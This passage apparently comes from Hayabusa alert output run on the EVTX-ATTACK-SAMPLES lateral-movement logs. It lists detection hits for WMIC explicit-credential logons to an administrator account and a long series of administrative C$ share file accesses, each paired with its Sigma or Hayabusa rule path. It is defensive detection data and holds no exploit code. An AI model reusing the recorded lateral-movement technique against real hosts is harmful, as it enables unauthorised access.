host/WIN-77LTAPHIQ1R.example.corp,rules/hayabusa/default/alerts/Security/4648_ExplicitLogonSuspiciousProcess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMIC_4648_rpcss.evtx +2019-03-18 20:27:23.261 +09:00,PC01.example.corp,4648,medium,Suspicious Remote Logon with Explicit Credentials,,rules/sigma/builtin/security/win_susp_logon_explicit_credentials.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMIC_4648_rpcss.evtx +2019-03-18 20:27:23.271 +09:00,PC01.example.corp,4648,medium,Explicit Logon: Suspicious Process,Source User: user01 : Target User: administrator : IP Address: - : Process: C:\Windows\System32\wbem\WMIC.exe : Target Server: WIN-77LTAPHIQ1R.example.corp,rules/hayabusa/default/alerts/Security/4648_ExplicitLogonSuspiciousProcess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMIC_4648_rpcss.evtx +2019-03-18 20:27:23.271 +09:00,PC01.example.corp,4648,medium,Suspicious Remote Logon with Explicit Credentials,,rules/sigma/builtin/security/win_susp_logon_explicit_credentials.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMIC_4648_rpcss.evtx +2019-03-18 23:23:22.264 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:22.284 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Program Files\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:22.284 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.356 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: BGinfo : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.546 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.546 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.556 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$ : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.556 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.556 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.556 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.566 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.566 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.566 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.566 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.566 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.576 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.576 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.576 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.576 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.586 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.586 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.586 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.586 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.586 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.586 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.596 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.596 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.596 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.596 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.596 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.606 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.606 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.606 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.606 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.606 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.616 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.616 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.616 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.616 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.616 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.626 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.626 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.626 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.636 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.636 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.636 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.636 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.636 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.666 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.666 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.666 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.666 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.676 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.676 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.676 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.676 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.676 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.676 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.686 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.686 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.686 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.686 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.686 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.686 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.696 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.696 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.696 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.696 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.706 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.706 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.706 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Searches\desktop.ini : IP Address: 